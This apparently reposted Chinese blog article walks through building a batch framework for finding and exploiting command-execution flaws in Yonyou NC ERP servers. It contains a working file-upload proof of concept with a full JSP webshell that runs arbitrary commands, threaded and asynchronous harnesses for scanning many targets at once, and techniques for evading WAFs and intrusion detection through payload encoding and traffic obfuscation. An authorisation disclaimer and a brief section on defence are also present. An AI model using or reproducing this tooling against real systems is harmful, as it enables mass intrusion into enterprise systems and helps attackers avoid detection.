尧图网站建设 尧图网络
  • 首页
  • 关于我们
  • 服务项目
  • 案例展示
  • 建站流程
  • 资讯中心
  • 联系我们
首页/资讯中心/详情

用友NC命令执行漏洞批量挖掘框架设计与实战

用友NC命令执行漏洞批量挖掘框架设计与实战
📅 发布时间:2026/6/26 19:54:22

1. 项目概述:从单点突破到批量狩猎

在甲方做安全运营或者乙方做渗透测试的朋友,应该都对“用友NC”这个名字不陌生。它作为国内大型企业广泛使用的ERP系统,一旦出现安全漏洞,影响面往往是“核弹级”的。最近几年,用友NC系列产品爆出的命令执行漏洞,几乎成了红队演练和真实攻击中的“明星漏洞”,从早期的反序列化到近期的文件上传、SQL注入导致的命令执行,花样层出不穷。

但今天我们不聊单个漏洞的利用。单个漏洞的利用,就像猎人用弓箭瞄准一只兔子,技术固然重要,但效率有限。在真实的攻防对抗或大规模安全评估中,面对成百上千个可能存在漏洞的用友NC系统,我们需要的是“霰弹枪”甚至“自动化炮台”。这就是“批量漏洞挖掘”的核心价值:将针对特定漏洞(如用友NC命令执行)的检测与利用能力,进行工具化、自动化、批量化,从而在短时间内对大量目标进行高效筛查和验证。

这个项目的目标,就是构建一套针对用友NC命令执行漏洞的批量挖掘框架。它不仅仅是一个扫描器,更是一个包含信息收集、漏洞检测、利用验证、结果整理的全流程工具链。我们将深入拆解漏洞原理,然后基于此设计高效的检测逻辑,最后用代码将其实现,并分享在实战中提升效率和绕过防护的“骚操作”。

2. 漏洞原理深度解析:为什么是命令执行?

在开始批量挖掘之前,我们必须吃透漏洞本身。用友NC的命令执行漏洞根源多样,但最终都通向同一个结果:攻击者能够通过构造特定的HTTP请求,在服务器端执行任意操作系统命令。这通常源于几个关键环节的失守:

2.1 常见漏洞入口点

  1. 反序列化漏洞:这是早期最经典的路径。用友NC基于Java开发,大量使用Apache Commons Collections等库进行对象序列化传输。当程序对用户输入的反序列化过程没有严格限制时,攻击者可以构造恶意的序列化数据(利用ysoserial等工具生成),在目标服务器上触发远程代码执行。这类漏洞的利用链(Gadget Chain)复杂,但利用稳定,通常出现在/servlet/~ic/bsh.servlet.BshServlet、/servlet/~ic/NCInvokerServlet等接口。

  2. 文件上传漏洞:这是近年来更常见的入口。用友NC提供了文件上传功能,用于处理附件、图片等。如果对上传文件的类型、内容、路径校验不严,攻击者可能上传一个包含恶意代码的JSP文件(俗称“小马”),然后通过Web直接访问这个文件,从而获得命令执行能力。关键往往在于找到未授权或校验可绕过的上传点,如某些老版本中的/portal/pt/upload接口。

  3. SQL注入导致的命令执行:在某些特定场景下,通过SQL注入获取数据库权限后,如果数据库配置允许(如SQL Server的xp_cmdshell、MySQL的into outfile写Webshell),可以进一步将权限提升至操作系统命令执行。这条路径相对曲折,但结合用友NC复杂的业务逻辑,有时也能走通。

2.2 从漏洞到命令执行的关键步骤

无论入口如何,最终实现命令执行都需要一个“跳板”。在Java Web环境中,这个跳板通常是:

  • Runtime.getRuntime().exec():最直接的方式,通过Java的Runtime类调用系统命令。
  • ProcessBuilder:另一种更灵活的执行系统进程的方式。
  • JSP Webshell:上传一个JSP文件,其内容包含接收参数并执行命令的Java代码,为攻击者提供一个持久的、交互式的控制面板。

我们的批量检测工具,其核心逻辑就是模拟攻击者,向目标发送精心构造的HTTP请求,这些请求旨在触发上述漏洞路径,并根据服务器的响应来判断漏洞是否存在,甚至验证命令是否成功执行。

注意:所有技术讨论仅限用于授权的安全测试、企业安全自查及法律许可范围内的学习研究。未经授权对任何系统进行测试均属违法行为。

3. 批量挖掘框架设计与核心思路

一个高效的批量挖掘框架,不能只是简单循环调用单个POC(概念验证代码)。它需要像流水线一样,各模块分工协作,应对网络环境、目标差异、防护设备等复杂情况。

3.1 框架核心模块

我们的框架主要包含以下四个模块:

  1. 目标预处理模块:

    • 输入:接受IP列表、域名列表或CIDR格式的网段。
    • 处理:进行端口扫描(重点80,443,8080等Web端口),识别HTTP/HTTPS服务,获取Banner信息(如Server头、Set-Cookie中的JSESSIONID、NCI等特征),初步筛选出可能为用友NC的系统。
    • 输出:一个干净的、待检测的URL列表。
  2. 漏洞检测引擎模块:

    • 核心:集成多个针对不同用友NC命令执行漏洞的POC。
    • 策略:采用“指纹识别 -> 精准检测”的策略。先通过少量特征请求(如访问特定静态资源、错误页面)判断目标NC的大致版本,然后调用对应版本的POC进行检测,避免盲目攻击,提高效率和隐蔽性。
    • 并发控制:实现可配置的并发线程/协程数,平衡检测速度和目标负载。
  3. 利用验证与交互模块:

    • 功能:对于检测出的漏洞,提供基本的利用验证。例如,执行一个无害的命令(如whoami、echo [随机字符串]),并尝试从响应中回显结果,以确认漏洞真实可利用。
    • 扩展:可集成简单的命令交互功能,用于手动深入测试。
  4. 结果生成与报告模块:

    • 记录:详细记录每个目标的检测过程、请求、响应、漏洞状态(存在、不存在、疑似)。
    • 输出:生成结构化的报告,如TXT、CSV、HTML格式,包含目标URL、漏洞类型、风险等级、验证结果、复现请求等关键信息。

3.2 技术选型与工具链

  • 编程语言:Python 3是首选。生态丰富(Requests, Scapy, BeautifulSoup等),开发效率高,适合快速构建原型和处理网络任务。
  • 网络请求库:requests库是基础,但需要处理会话(Session)、SSL验证、代理、超时、重试等复杂情况。对于高性能并发,可以考虑aiohttp(异步)或grequests。
  • 并发模型:对于IO密集型的网络扫描,多线程(threading)或多进程(multiprocessing)是传统方案。我更推荐使用异步IO(asyncio + aiohttp),它在高并发场景下资源开销更小,性能更高。
  • 解析与匹配:re(正则表达式)用于快速匹配响应中的特征字符串。lxml或BeautifulSoup用于解析复杂的HTML响应,从中提取关键信息。
  • 命令行交互:使用argparse或click库构建友好的命令行界面,方便参数传递。

4. 核心检测逻辑实现与代码剖析

下面,我们以一个经典的、基于文件上传的用友NC命令执行漏洞POC为例,拆解其检测逻辑,并展示如何将其集成到批量框架中。

4.1 单点POC逻辑拆解

假设我们针对的是某个版本用友NC的任意文件上传漏洞。手动利用步骤可能是:

  1. 构造一个HTTP POST请求,上传一个包含JSP代码的文件。
  2. 请求触发漏洞,文件被写入Web可访问目录。
  3. 访问上传成功的JSP文件,传递命令参数并执行。

自动化POC需要将这个过程精炼、可靠地实现:

import requests import time import random import hashlib def check_nc_upload_rce(target_url): """ 检测用友NC特定文件上传漏洞 :param target_url: 目标基础URL,如 http://target.com:8080 :return: (bool, str) 是否存在漏洞, 漏洞证明信息 """ # 1. 构造一个唯一的特征字符串,用于后续验证命令是否执行 random_str = f"test_{int(time.time())}_{random.randint(1000, 9999)}" md5_str = hashlib.md5(random_str.encode()).hexdigest()[:8] # 2. 准备要上传的JSP Webshell内容 # 这是一个极简的、用于回显命令执行结果的JSP webshell_content = f""" <%@ page import="java.io.*" %> <% String cmd = request.getParameter("cmd"); if (cmd != null) {{ Process p = Runtime.getRuntime().exec(cmd); BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream())); String line; while ((line = br.readLine()) != null) {{ out.println(line); }} br.close(); }} %> """ # 或者,更隐蔽的,只执行一个echo命令验证漏洞存在性 verify_content = f""" <%@ page import="java.io.*" %> <% out.println("{md5_str}"); %> """ # 3. 构造上传请求 upload_url = f"{target_url}/portal/pt/upload" # 示例漏洞点,实际需根据版本调整 headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Accept': '*/*', } # 文件上传通常使用 multipart/form-data 格式 files = { 'file': ('test.jsp', verify_content, 'image/jpeg') # 尝试伪装文件类型 } data = { 'someFormField': 'value' # 根据实际表单字段填充 } try: # 禁用SSL警告和验证(仅用于测试环境,生产环境应谨慎) resp_upload = requests.post(upload_url, files=files, data=data, headers=headers, verify=False, timeout=15) # 4. 解析上传响应,获取文件路径 # 实际响应可能返回JSON,包含文件路径,也可能是重定向,需要具体分析 if resp_upload.status_code == 200: # 假设响应中包含了上传后的访问路径(这里需要根据实际漏洞调整解析逻辑) # 例如,从JSON中解析:upload_path = resp_upload.json().get('path') # 这里我们假设一个常见的存储路径进行盲猜(实际批量中需要更智能的判断) guessed_paths = [ f"{target_url}/portal/pt/test.jsp", f"{target_url}/upload/test.jsp", f"{target_url}/test.jsp" ] for guessed_path in guessed_paths: resp_access = requests.get(guessed_path, timeout=10, verify=False) if md5_str in resp_access.text: # 找到回显,漏洞确认存在且可利用 return True, f"漏洞存在!Webshell可访问: {guessed_path} (验证字符串: {md5_str})" # 如果所有猜测路径都未找到回显,可能上传成功但路径不对,或漏洞不存在 return False, "未检测到漏洞(可能上传成功但访问路径未知)" else: return False, f"上传请求失败,状态码: {resp_upload.status_code}" except requests.exceptions.RequestException as e: return False, f"请求过程发生异常: {e}" except Exception as e: return False, f"检测过程发生未知异常: {e}"

4.2 集成到批量框架

在批量框架中,我们需要将上述检测函数包装成一个可并发执行的任务。以下是使用concurrent.futures线程池的简单示例:

import concurrent.futures from queue import Queue import logging logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s') def worker(target_queue, result_queue, timeout=30): """工作线程函数,从队列中取目标进行检测""" while not target_queue.empty(): try: target_url = target_queue.get_nowait() except Queue.Empty: break logging.info(f"开始检测目标: {target_url}") is_vuln, message = check_nc_upload_rce(target_url) result = { 'url': target_url, 'is_vulnerable': is_vuln, 'detail': message } result_queue.put(result) if is_vuln: logging.warning(f"[!] 发现漏洞: {target_url} - {message}") else: logging.info(f"[-] 目标安全或检测失败: {target_url}") target_queue.task_done() def batch_scan(target_list, max_workers=10): """批量扫描主函数""" target_queue = Queue() result_queue = Queue() for target in target_list: target_queue.put(target) with concurrent.futures.ThreadPoolExecutor(max_workers=max_workers) as executor: # 提交多个worker任务 futures = [executor.submit(worker, target_queue, result_queue) for _ in range(max_workers)] concurrent.futures.wait(futures) # 收集结果 results = [] while not result_queue.empty(): results.append(result_queue.get()) return results # 使用示例 if __name__ == '__main__': targets = [ 'http://192.168.1.100:8080', 'http://example.com:80', # ... 更多目标 ] vuln_results = batch_scan(targets, max_workers=20) for res in vuln_results: if res['is_vulnerable']: print(f"漏洞目标: {res['url']} | 信息: {res['detail']}")

5. 实战进阶:绕过防护与提升效率的技巧

在真实网络环境中,目标系统可能部署了WAF、入侵检测系统、流量监控等防护设备。简单的脚本很容易被拦截。此外,面对数万目标,效率就是生命。

5.1 绕过常见防护策略

  1. 流量特征模糊:

    • User-Agent轮换:使用常见的浏览器UA列表,而非固定的Python-requests。
    • 参数随机化:对请求参数名、值进行随机化处理,避免形成固定模式。
    • 请求延时:在请求间加入随机延时,模拟人工操作。
    • HTTPS与证书处理:妥善处理自签名证书,避免因SSL错误导致请求失败。
  2. Payload变形与编码:

    • 多重编码:对JSP Webshell中的关键字符(如<,%,")进行URL编码、Base64编码甚至双重编码。
    • 大小写转换:HTTP方法、头部字段大小写混用(如pOsT)。
    • 空格替换:使用+、%20、%09(Tab)等多种方式替换空格。
  3. 路径与参数探测:

    • 目录Fuzz:上传接口路径可能不是公开的,需要结合字典进行模糊测试。
    • 参数Fuzz:除了file,可能还有其他参数控制上传行为,需要探测。

5.2 提升批量挖掘效率

  1. 异步IO革命:如前所述,将同步的requests库替换为aiohttp,可以轻松实现上千个并发连接,速度提升一个数量级。
  2. 智能指纹识别:在发起攻击性POC前,先用极少的请求进行指纹识别。例如,通过/logo.png、/login.jsp等资源判断是否为用友NC及大致版本,只对匹配的目标进行深度检测,避免在无关系统上浪费资源。
  3. 结果缓存与断点续扫:将扫描结果和进度持久化(如保存到SQLite数据库或文件),支持中断后从上次进度继续扫描。
  4. 分布式扫描:当目标量极大时,可以考虑将任务分发到多台机器上执行,使用消息队列(如Redis)协调任务。

5.3 一个简单的异步扫描示例骨架

import aiohttp import asyncio import aiofiles async def check_single_target(session, target_url, semaphore): """异步检测单个目标""" async with semaphore: # 控制并发量 try: # 1. 指纹识别 fingerprint_url = f"{target_url}/logo.png" async with session.get(fingerprint_url, ssl=False) as resp: if resp.status == 200: # 检查响应头或内容中的NC特征 # ... pass # 2. 漏洞检测 (伪代码) # upload_url = f"{target_url}/vuln/path" # async with session.post(upload_url, data=payload) as resp: # ... 解析响应,判断漏洞 await asyncio.sleep(0.1) # 轻微延时 except Exception as e: pass return target_url, result async def main(target_list): connector = aiohttp.TCPConnector(limit=100, ssl=False) # 调整连接限制 timeout = aiohttp.ClientTimeout(total=30) semaphore = asyncio.Semaphore(50) # 控制每秒并发数 async with aiohttp.ClientSession(connector=connector, timeout=timeout) as session: tasks = [check_single_target(session, url, semaphore) for url in target_list] results = await asyncio.gather(*tasks, return_exceptions=True) # 处理结果 vuln_list = [] for res in results: if isinstance(res, tuple) and res[1] == 'VULNERABLE': # 假设的返回值 vuln_list.append(res[0]) print(f"发现 {len(vuln_list)} 个漏洞目标")

6. 常见问题排查与防御视角

6.1 扫描过程中常见问题

问题现象可能原因排查思路
所有目标返回连接超时网络不通、防火墙拦截、并发过高被屏蔽1. 用浏览器或curl手动测试一个目标。
2. 降低并发数(max_workers)。
3. 在请求中增加代理设置。
检测到漏洞但无法验证WAF拦截了攻击Payload或访问请求1. 尝试对Payload进行编码、分割、混淆。
2. 更换更隐蔽的Webshell代码(如使用反射、自定义类加载器)。
3. 检查上传文件的访问路径是否正确,可能文件名或目录被重命名。
误报率高POC逻辑不严谨,或目标存在干扰响应1. 优化POC的检测逻辑,增加更多判断条件(如检查响应时间、特定头信息)。
2. 引入“脏数据检测”,先发送一个明显无效的请求,观察正常响应模式。
扫描速度慢网络延迟高、目标响应慢、单线程阻塞1. 切换到异步IO模型(asyncio)。
2. 适当调整超时时间(timeout),避免长时间等待。
3. 使用更快的DNS解析服务。

6.2 从防御者角度看漏洞修复

作为安全研究人员或企业运维,了解攻击手法是为了更好地防御。针对此类批量漏洞挖掘,防御方可以:

  1. 及时打补丁:关注用友官方安全公告,第一时间更新系统补丁,这是最根本的解决方式。
  2. 部署WAF/IPS:配置针对性的规则,拦截常见的攻击Payload和扫描器特征。
  3. 网络层限制:严格限制访问用友NC系统的IP来源,仅对必要的工作站开放。
  4. 应用层加固:
    • 删除或禁用不必要的Servlet、组件和示例文件。
    • 对文件上传功能进行严格的白名单校验(文件类型、内容、路径)。
    • 对反序列化操作进行输入验证和使用安全的反序列化库。
  5. 加强监控与告警:在IDS/IPS或Web日志分析平台中,建立针对“/upload”、“/servlet”、“.jsp”等关键路径的异常访问告警,特别是短时间内来自同一源的大量探测请求。

这个项目从单点漏洞分析出发,最终构建了一个面向实战的批量挖掘框架。它涉及网络编程、并发处理、漏洞原理、绕过技巧等多个方面。真正掌握它,不仅能提升你在渗透测试中的效率,更能深刻理解攻击与防御的动态博弈。工具是死的,思路是活的,最重要的永远是不断跟进新的漏洞、研究新的 bypass 方法,并将这些知识融入你的自动化流程中。

相关新闻

  • 【零基础AI应用开发】第02章:项目初始化与 Next.js 基础(入门篇)
  • 紫光FPGA独立仿真FIFO
  • Spring三大注入注解深度拆解:@Autowired、@Resource、@RequiredArgsConstructor 原理、示例、场景选型、面试全解

最新新闻

  • 甜菊糖苷 Reb M 全酶法工艺再进阶:从代糖到抗衰老,合成生物学的又一场胜利
  • 终极摸鱼阅读神器:Thief-Book IDEA插件完整使用指南
  • Codex 实战篇:如何安装、创建第一个项目,并完成第一次运行
  • IP-guard Webserver远程命令执行漏洞应急响应实战复盘
  • 微信小程序逆向工程终极指南:深度解析wxappUnpacker解包技术
  • Elsevier-Tracker:告别投稿焦虑,实时追踪审稿进度的Chrome插件解决方案

日新闻

  • Qwen2.5-Turbo百万上下文实战指南:百炼平台长文本处理全解析
  • 怎么监控对标账号更新,2026年作者监控工作流,5款深度对比
  • EdgeRemover:专业级Windows Edge浏览器管理工具,彻底解决顽固软件卸载难题

周新闻

  • Visual C++运行库修复终极指南:5分钟快速解决Windows软件启动错误
  • 手把手教你构建统计局地区经济数据爬虫:从环境搭建到数据持久化全指南
  • 2026多Agent深度解析:用AI团队替代单一模型,四种架构实战落地

月新闻

  • 【总结】入门篇:50句话让你记住架构核心概念
  • WeChatMsg技术方案解析:实现Mac微信数据自主管理的完整解决方案
  • WeChatMsg:革新性微信数据备份方案,打造你的专属数字记忆库

关于尧图

  • 公司简介
  • 团队介绍
  • 企业文化
  • 荣誉资质

服务项目

  • 定制开发
  • 电商建站
  • UI 设计
  • 运维服务

快速链接

  • 案例展示
  • 建站流程
  • 常见问题
  • 资讯中心

联系方式

  • 📍北京市朝阳区互联网产业园 A 座 10 层
  • 📞400-888-8888
  • ✉️contact@rkmt.cn
  • 🕐周一至周日 9:00-21:00

© 2024 北京尧图网络科技有限公司 版权所有 | 京 ICP 备 XXXXXXXX 号